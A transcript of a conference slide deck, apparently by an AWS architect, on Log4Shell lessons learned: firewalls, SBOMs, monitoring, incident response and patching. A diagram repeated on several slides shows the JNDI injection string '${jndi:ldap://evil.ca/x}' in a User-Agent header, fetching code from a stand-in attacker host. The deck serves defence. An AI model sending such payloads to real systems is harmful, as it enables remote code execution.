Log4Shell - Lessons learned

In der Vorweihnachtszeit wurden viele IT-Abteilungen von Sicherheitslücken im weitverbreiteten Java-Logging-Framework Apache Log4J kalt erwischt. Diese Session fasst das Ereignis zusammen und beantwortet die folgenden Fragen, um zukünftig in ähnlichen Situationen schneller reagieren zu können:

- Welche Möglichkeiten bieten Web, DNS und Netzwerk-Firewalls, um eine Ausnutzung derartiger Lücken zu verhindern?
- Welche Tools kann ich nutzen, um bspw. mit Hilfe automatisierter Scans und Analysen des Netzwerkverkehrs festzustellen, welche Bestandteile meiner IT-Infrastruktur betroffen sind?
- Wie kann ich mit Legacy-Anwendungen umgehen, die ich nicht aktualisieren kann?
- Wie sollte ich mein Deployment und Betriebsabläufe modernisieren, um Patching zukünftig schneller realisieren zu können?

Transcript

1. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
   © 2022, Amazon Web Services, Inc. or its affiliates.
   © 2022, Amazon Web Services, Inc. or its affiliates.
   Log4Shell -
   Lessons learned
   Dennis Kieselhorst
   Sr. Solutions Architect
   Amazon Web Services
   

   View Slide

2. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
   © 2022, Amazon Web Services, Inc. or its affiliates.
   Agenda
   • Zero-Day?
   • Log4j Zero-Day, reactions and common themes
   • Proactive measures aligned to the NIST Cybersecurity Framework
   • Identify
   • Protect
   • Detect
   • Respond
   • Recover
   • Quick Wins & Long Term Strategies
   • Q&A
   

   View Slide

3. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
   © 2022, Amazon Web Services, Inc. or its affiliates.
   © 2022, Amazon Web Services, Inc. or its affiliates.
   Zero-Day?
   3
   

   View Slide

4. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
   © 2022, Amazon Web Services, Inc. or its affiliates.
   A zero-day is a computer-software
   vulnerability previously unknown to
   those who should be interested in its
   mitigation, like the vendor of the target
   software.
   Wikipedia
   https://en.wikipedia.org/wiki/Zero-day_(computing)
   4
   

   View Slide

5. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
   © 2022, Amazon Web Services, Inc. or its affiliates.
   © 2022, Amazon Web Services, Inc. or its affiliates.
   Log4j Zero-Day
   5
   

   View Slide

6. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
   © 2022, Amazon Web Services, Inc. or its affiliates.
   Log4j JNDI vulnerability
   Vulnerable Server
   http://victim.xa
   Attacker
   The LDAP server responds with directory
   information that contains the malicious Java
   class
   Malicious LDAP Server
   ldap://evil.xa
   An attacker inserts the JNDI lookup in a
   header field that is likely to be logged
   GET /test HTTP/1.1
   Host: victim.xa
   User-Agent: ${jndi:ldap://evil.ca/x}
   Log4j interpolates the
   string and queries the
   malicious LDAP server
   ${jndi:ldap://evil.ca/x}
   ldap://evil.ca/x
   The string is passed to
   Log4j for logging
   public class Malicious implements Serializable {
   ...
   static {
   
   }
   ...
   }
   dn:
   javaClassName: Malicious
   javaCodebase: http://evil.xa
   javaSerializedData: <...>
   Vulnerable Log4j
   implementation
   Java deserializes
   (or downloads)
   the malicious
   Java Class and
   executes it.
   1. 2. 3.
   4.
   5.
   

   View Slide

7. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
   © 2022, Amazon Web Services, Inc. or its affiliates.
   Log4j related CVE records
   The Common Vulnerabilities and Exposures (CVE) programs mission
   is to identify, define, and catalog publicly disclosed cybersecurity
   vulnerabilities.
   Dictionary entry Description Score (CVSS/ EPSS)
   CVE-2021-44228 JNDI vulnerability mentioned on previous slide 10.0 Critical 95,10%
   CVE-2021-44832
   remote code execution (RCE) possible in
   combination with JDBC Appender
   6.6 Medium 68,64%
   CVE-2021-45046 fix to address CVE-2021-44228 was incomplete 9.0 Critical 71,95%
   CVE-2021-45105
   denial of service possibility when a crafted
   string is interpreted
   5.9 Medium 33,57%
   The Common Platform Enumeration (CPE) is a structured naming scheme in
   XML format for IT systems, software, and packages. This formal format allows
   checking and testing.
   

   View Slide

8. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
   © 2022, Amazon Web Services, Inc. or its affiliates.
   Immediate AWS customer reactions
   How do I figure out
   if this is in my
   environment?
   Is AWS using Log4j?
   Which version?
   Which AWS services
   are affected?
   Should I get rid of
   Open Source
   software?
   How do I protect my
   environment?
   How do I remediate
   across my
   environment?
   

   View Slide

9. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
   © 2022, Amazon Web Services, Inc. or its affiliates.
   Two other Zero-day examples besides Log4j
   Confluence (CVE-2022-26134)
   Atlassian Confluence is a web-based
   corporate wiki software/
   collaboration platform.
   The vulnerability allows an
   unauthenticated user to execute
   arbitrary code.
   Insufficient input validation leads to
   Object-Graph Navigation Language
   (OGNL) evaluation.
   Spring4Shell (CVE-2022-22965)
   Spring is a famous framework for
   Java-based enterprise applications.
   Web applications may be vulnerable
   to remote code execution (RCE) when
   deployed as web application archive
   (WAR) on Tomcat.
   The issue relates to data binding used
   to populate an object from request
   parameters (either query parameters
   or form data).
   

   View Slide

10. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    What did these have in common?
    Crafted traffic caused
    systems to respond with
    sensitive data
    Actors used these
    vulnerabilities to gather
    credentials or execute
    commands remotely
    Widely used technology
    requiring widespread
    patching to address issue
    Persistence techniques
    were commonly used
    after initial compromise
    

    View Slide

11. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    OWASP Top10
    Source: https://www.owasptopten.org/the-release-of-the-owasp-top-10-2021
    Creative Commons Attribution-ShareAlike 4.0 International Public License
    

    View Slide

12. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Proactive measures
    aligned to the NIST
    Cybersecurity Framework
    12
    

    View Slide

13. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    NIST CSF Overview
    • Framework for Improving Critical
    Infrastructure Cybersecurity
    • Initially published by The National
    Institute of Standards and
    Technology (NIST) in 2014.
    • Framework Core consists of five
    concurrent and continuous
    Functions to provide a high-level,
    strategic view of the lifecycle of an
    organization’s management of
    cybersecurity risk.
    RECOVER IDENTIFY
    RESPOND PROTECT
    DETECT
    

    View Slide

14. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Identify
    Develop the organizational
    understanding to manage
    cybersecurity risk to systems, assets,
    data, and capabilities.
    RECOVER IDENTIFY
    RESPOND PROTECT
    DETECT
    

    View Slide

15. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Configuration management
    Inventory and configuration management
    • What is currently out there?
    • What is the latest configuration state of my
    resources?
    • What relationships exist between my resources?
    • What configuration changes occurred in the
    past?
    • Which resources have violated compliance
    policies?
    Governance and compliance management
    • Are my resources properly configured?
    • Do my resources comply with regulatory
    requirements
    • How do I ensure continuous compliance?
    • How can I get notified in near real-time if
    resource(s) go out of compliance?
    15
    Changing resources AWS Config
    Normalized
    AWS Config rules
    Notifications
    API access
    History, snapshot
    Example:
    

    View Slide

16. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Infrastructure as code (IaC)
    Reliably and consistently provisioning
    and configuring infrastructure is
    foundational for DevOps and fast
    software delivery
    Manual infrastructure processes can
    lack consistency, a single
    source of truth, and reliable
    detection/remediation of
    provisioning errors
    Examples: AWS CloudFormation, AWS
    CDK, HashiCorp Terraform
    

    View Slide

17. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Software dependency management
    Software bill of materials (SBOM)
    • inventory of components used to build a software architect
    • formal and machine-readable metadata
    • provide transparency in software supply chain
    Software Package Data Exchange (SPDX)
    • open standard for communicating SBOM information
    • ISO/IEC 5962:2021
    17
    

    View Slide

18. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Log4j JNDI vulnerability
    Vulnerable Server
    http://victim.xa
    Attacker
    The LDAP server responds with directory
    information that contains the malicious Java
    class
    Malicious LDAP Server
    ldap://evil.xa
    An attacker inserts the JNDI lookup in a
    header field that is likely to be logged
    GET /test HTTP/1.1
    Host: victim.xa
    User-Agent: ${jndi:ldap://evil.ca/x}
    Log4j interpolates the
    string and queries the
    malicious LDAP server
    ${jndi:ldap://evil.ca/x}
    ldap://evil.ca/x
    The string is passed to
    Log4j for logging
    public class Malicious implements Serializable {
    ...
    static {
    
    }
    ...
    }
    dn:
    javaClassName: Malicious
    javaCodebase: http://evil.xa
    javaSerializedData: <...>
    Vulnerable Log4j
    implementation
    Java deserializes
    (or downloads)
    the malicious
    Java Class and
    executes it.
    1. 2. 3.
    4.
    5.
    

    View Slide

19. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Protect
    Develop and implement the
    appropriate safeguards to ensure
    delivery of critical infrastructure
    services.
    RECOVER IDENTIFY
    RESPOND PROTECT
    DETECT
    

    View Slide

20. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Network, DNS and Web Application Firewalls
    Network Firewall
    Packet filtering
    • IP block/ allow lists
    • Stateless/ stateful rules
    • FQDN filtering on
    HTTP/HTTPS
    • Protocol detection/
    enforcement
    DNS Firewall
    DNS Filtering
    • Domain name based filtering
    • Custom deny actions
    (NXDOMAIN, OVERRIDE,
    NoData)
    • Filtering on Resolver and
    Resolver Endpoints
    Web Application Firewall (WAF)
    Request filtering
    • SQL injection and cross-site
    scripting (XSS) attack
    detection
    • OWASP Top10 web
    application vulnerabilities
    • Bot protection and IP
    reputation list
    • Pattern matching (Regex)
    • Rate-limiting
    20
    AWS Network Firewall AWS Route 53
    Resolver DNS Firewall
    AWS WAF
    Example services:
    

    View Slide

21. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Log4j JNDI vulnerability
    Vulnerable Server
    http://victim.xa
    Attacker
    The LDAP server responds with directory
    information that contains the malicious Java
    class
    Malicious LDAP Server
    ldap://evil.xa
    An attacker inserts the JNDI lookup in a
    header field that is likely to be logged
    GET /test HTTP/1.1
    Host: victim.xa
    User-Agent: ${jndi:ldap://evil.ca/x}
    Log4j interpolates the
    string and queries the
    malicious LDAP server
    ${jndi:ldap://evil.ca/x}
    ldap://evil.ca/x
    The string is passed to
    Log4j for logging
    public class Malicious implements Serializable {
    ...
    static {
    
    }
    ...
    }
    dn:
    javaClassName: Malicious
    javaCodebase: http://evil.xa
    javaSerializedData: <...>
    Vulnerable Log4j
    implementation
    Java deserializes
    (or downloads)
    the malicious
    Java Class and
    executes it.
    1. 2. 3.
    4.
    5.
    Block incoming request Block outgoing query
    

    View Slide

22. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Detect
    Develop and implement the
    appropriate activities to identify the
    occurrence of a cybersecurity issue.
    RECOVER IDENTIFY
    RESPOND PROTECT
    DETECT
    

    View Slide

23. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Logging (Observability)
    • Record all environment activity
    • Monitor IP traffic in and out of
    network interfaces
    • Monitor DNS traffic using DNS
    resolver (like Route 53)
    • Collect metrics in Cloud (on AWS)
    and on premises.
    Amazon
    CloudWatch
    DNS Resolver query
    logging
    Flow logs
    AWS CloudTrail
    Example services:
    

    View Slide

24. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Tools for scanning and analysis
    • Based on log data sources:
    ▪ Enable continuous monitoring and analysis
    ▪ Use threat intelligence feeds and machine learning to
    detect unauthorized activity
    ▪ Simplify forensics
    • On virtual machines and container images:
    ▪ Discover vulnerabilities
    ▪ Prioritize patch remediation
    • Inside application source code:
    ▪ Proactively improve code quality
    ▪ Fix security vulnerabilities
    24
    Amazon GuardDuty
    Example services:
    Amazon Inspector
    Amazon CodeGuru
    

    View Slide

25. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Respond
    Develop and implement the
    appropriate activities to take action
    regarding a detected cybersecurity
    issue.
    RECOVER IDENTIFY
    RESPOND PROTECT
    DETECT
    

    View Slide

26. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Foundation of Incident Response
    • Educate your security operations and incident response staff.
    • Prepare your incident response team to detect and respond to
    incidents by enabling detective capabilities, and ensuring
    appropriate access to the necessary tools and services.
    • Simulate both expected and unexpected security events within
    your cloud environment to understand the effectiveness of your
    preparation.
    • Iterate on the outcome of your simulation to improve the scale of
    your response posture, reduce time to value, and further reduce
    risk.
    26
    

    View Slide

27. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Playbooks/ Runbooks
    • Establish formalized incident response processes
    • Can also help to comply with regulatory frameworks (like GDPR)
    • Don‘t have any? Dive in…
    • Resources:
    ▪ https://github.com/aws-samples/aws-incident-response-playbooks
    ▪ https://github.com/aws-samples/aws-customer-playbook-framework
    ▪ https://docs.aws.amazon.com/whitepapers/latest/aws-security-incident-
    response-guide/welcome.html
    27
    

    View Slide

28. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Automation
    Speed
    Deploy many times a day
    instead once every few
    months
    Repeatability
    Never send a human to do a
    machine’s job. Humans are
    error-prone
    Confidence
    If you’re not sure whether it’ll
    work, you’ll hesitate. That
    slows you down and keeps you
    from fixing problems
    Transparency
    Automated processes are
    easier to measure and improve
    

    View Slide

29. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Example: AWS Developer Tools for modern
    software delivery
    DEPLOY
    TEST
    BUILD
    SOURCE/
    ARTIFACT
    AUTHOR
    AWS Cloud9
    AWS IDE Toolkits
    AWS
    CodeBuild
    AWS
    CodeCommit
    AWS
    CodeDeploy
    AWS CodeBuild
    + Third Party
    AWS CodePipeline
    MODEL AWS CloudFormation AWS SAM
    AWS Cloud Development Kit
    AWS
    CodeArtifact
    

    View Slide

30. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Example: AWS Systems Manager
    E N A B L E S C E N T R A L I Z E D C L O U D O P E R A T I O N S
    Group Resources
    Create groups of
    resources across
    different AWS
    services, such as
    applications or
    different layers of
    an application stack
    Take Action
    Respond to insights
    and automate
    operational actions
    across resource
    groups.
    Visualize Data
    View aggregated
    operational data by
    resource group
    AWS Systems
    Manager
    Systems
    Manager helps
    you safely
    manage and
    operate your
    resources at
    scale
    

    View Slide

31. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Log4j JNDI vulnerability
    Vulnerable Server
    http://victim.xa
    Attacker
    The LDAP server responds with directory
    information that contains the malicious Java
    class
    Malicious LDAP Server
    ldap://evil.xa
    An attacker inserts the JNDI lookup in a
    header field that is likely to be logged
    GET /test HTTP/1.1
    Host: victim.xa
    User-Agent: ${jndi:ldap://evil.ca/x}
    Log4j interpolates the
    string and queries the
    malicious LDAP server
    ${jndi:ldap://evil.ca/x}
    ldap://evil.ca/x
    The string is passed to
    Log4j for logging
    public class Malicious implements Serializable {
    ...
    static {
    
    }
    ...
    }
    dn:
    javaClassName: Malicious
    javaCodebase: http://evil.xa
    javaSerializedData: <...>
    Vulnerable Log4j
    implementation
    Java deserializes
    (or downloads)
    the malicious
    Java Class and
    executes it.
    1. 2. 3.
    4.
    5.
    Block incoming request Block outgoing query
    Patch log4j
    Disable JNDI lookups
    Disable log4j
    Disable remote codebases
    

    View Slide

32. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Recover
    Develop and implement the
    appropriate activities to maintain
    plans for resilience and to restore
    any capabilities that were impaired
    due to a cybersecurity issue.
    RECOVER IDENTIFY
    RESPOND PROTECT
    DETECT
    

    View Slide

33. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Strategies for disaster recovery
    Backup & restore Pilot light Active/active
    Warm standby
    RPO / RTO:
    Hours
    RPO / RTO:
    10s of minutes
    RPO / RTO:
    Minutes
    RPO / RTO:
    Real-time
    • Lower-priority use cases
    • Provision all AWS resources
    after event
    • Restore backups after event
    • Cost $
    • Data live
    • Services idle
    • Provision some AWS resources
    and scale after event
    • Cost: $$
    • Always running, but smaller
    • Business critical
    • Scale AWS resources after event
    • Cost $$$
    • Zero downtime
    • Near-zero data loss
    • Mission Critical
    Services
    • Cost $$$$
    Active/passive strategies
    

    View Slide

34. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Quick Wins & Long Term
    Strategies
    34
    

    View Slide

35. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Quick Wins
    • Implement basic egress controls,
    e.g. DNS Firewall
    • Implement tools like Amazon
    GuardDuty across your organization
    • Use managed WAF Rules (as
    provided e.g. in AWS WAF)
    • Use Network Address Control Lists
    (NACLs) to control traffic
    

    View Slide

36. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Long Term Strategies
    • Determine risk across environment
    to drive priorities
    • Define process for fleet wide
    patching
    • Identify and enable a quick
    response team from across your
    organization
    • Get rid of unneeded (transitive)
    dependencies inside your
    applications
    • Develop and test playbooks for
    patching and response
    

    View Slide

37. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Q&A
    37
    

    View Slide

38. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Resources
    • AWS Log4j2 security bulletin:
    https://aws.amazon.com/security/security-bulletins/AWS-2021-
    006/
    • AWS Blog post: https://aws.amazon.com/blogs/security/using-
    aws-security-services-to-protect-against-detect-and-respond-to-
    the-log4j-vulnerability/
    38
    

    View Slide

39. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Thank you!
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Dennis Kieselhorst
    linkedin.com/in/kieselhorst/
    

    View Slide